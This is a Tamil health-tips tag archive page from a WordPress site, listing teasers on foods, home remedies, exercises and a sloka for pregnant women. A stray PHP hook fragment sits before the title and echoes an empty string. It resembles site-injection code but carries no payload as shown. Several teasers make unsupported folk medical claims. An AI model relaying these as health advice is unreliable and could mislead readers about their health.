/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ health tips Archives - Page 7 of 7 - Thagaval kalam

Tag: health tips

புடலங்காயில் உள்ள சத்துக்களும் அதன் நன்மைகளும்

ஆரோக்கியம் October 4, 2023
புடலங்காயில் கொத்துப்புடலை, நாய்ப்புடலை, பன்றிப்புடலை, பேய்ப்புடலை என பல வகைகள் இருக்கின்றன. புடலங்காயின் சிறப்பே குடல் புண் மற்றும் தொண்டை புண்ணை ஆற்ற கூடியவை....
Read More 0

பல வியாதிகளுக்கும் மருத்தாகும் வில்வம்

ஆரோக்கியம் October 3, 2023
வில்வம் பழம் பல வியாதிகளுக்கு ஒரு சிறந்த மருந்தாக இருக்கு. வில்வம் பழத்தை வெறும் வயித்துல தான் சாப்பிடணும். இந்த பழம் இதயத்தை வலுவாக்கும்...
Read More 0

சுண்ணாம்பின் மருத்துவ பயன்கள்

ஆரோக்கியம் October 3, 2023
நம்ம வீட்ல இருக்கிற பெரியவங்க வெற்றிலை பாக்குடன் கொஞ்சம் சுண்ணாம்பு சேர்த்து சாப்பிடுவாங்க. சுண்ணாம்புல கால்சியம் சத்து இருக்கு. இது எலும்புகளை வலிமையாக்கும். சுண்ணாம்பை...
Read More 0

பீட்ரூட் ஜூஸ் குடிப்பதால் கிடைக்கும் நன்மைகள்..!

ஆரோக்கியம் October 2, 2023
பீட்ரூட் ரத்த கலர்ல சிறிது இனிப்பு சுவையோடு இருக்கும். வேர்க்காய்கறியில பீட்ரூட்டும் ஒன்று. மக்கள் பீட்ரூட்ட விரும்பி சாப்பிடுவாங்க. இதை ஜூஸா சாப்பிடுவதால் என்னென்ன...
Read More 0

உடல் எடை குறைக்க உதவும் கொண்டைக்கடலை

ஆரோக்கியம் September 26, 2023
உடல் எடையை குறைக்க நார்ச்சத்து ரொம்ப முக்கியம். தினமும் நார்ச்சத்து உள்ள உணவுகளை சாப்பிட்டு வந்தோம்னா மலச்சிக்கல் பிரச்சனை ஏற்படாது. தினமும் ஒரு கைப்பிடி...
Read More 0

கர்பிணிகளுக்கான ஸ்லோகம்

ஆரோக்கியம் September 25, 2023
கர்பிணிகளுக்கான ஸ்லோகத்தை தினமும் சொல்வதன் மூலம், குழந்தைகள் சீரும் சிறப்புடன் வாழ்வார்கள். கர்ப்பிணிகளுக்கு  தன் வயிற்றில் வளரும் குழந்தையின் எதிர்காலம் மகிழ்ச்சியாக இருக்க வேண்டும்...
Read More 0

கடலை மிட்டாய் நன்மைகள்

ஆரோக்கியம் September 25, 2023
தமிழகத்தின் பாரம்பரிய உணவுகளில் ஒன்றான கடலை மிட்டாய் இருக்கிறது. நமது உடலுக்குத் தேவையான பல்வேறு சத்துக்களை வழங்கக்கூடியது. துரித உணவு போலல்லாமல், முழுவதும் ஆரோக்கியமானது....
Read More 0

கழுத்து வலியை போக்க சில எளிய பயிற்சி முறைகள்

ஆரோக்கியம் September 24, 2023
இன்றைய கணினி யுகத்தில் பலர் கழுத்து வலியால் அவதிப்படுகின்றனர். இதற்கு முக்கியக் காரணம் தவறான முறையில் உட்காருவது, எனவே பணம் செலவழிக்காமல் இந்த கழுத்து...
Read More 0

கருப்பு உளுந்து சாப்பிடுவதால் ஏற்படும் நன்மைகள்..!

ஆரோக்கியம் May 3, 2022
கருப்பு உளுந்து தெற்காசியாவை தாயகமாகக் கொண்டது. தெற்காசியாவில் வளர்க்கப்படும் முக்கியமாக பயிர் கருப்பு உளுந்து. தமிழ் சமையலில் தோசை, இட்லி, வடை, உளுந்து களி,...
Read More 0
pepper benefits

மிளகு சாப்பிடுவதால் ஏற்படும் நன்மைகள்

ஆரோக்கியம் February 12, 2022
மிளகு நம் தினசரி உணவில் பயன்படுத்த படும் ஒரு மசாலா பொருள் ஆகும். ஒரு சிறு மணியளவு தோற்றம் கொண்ட மிளகு வெப்பம் மற்றும்...
Read More 0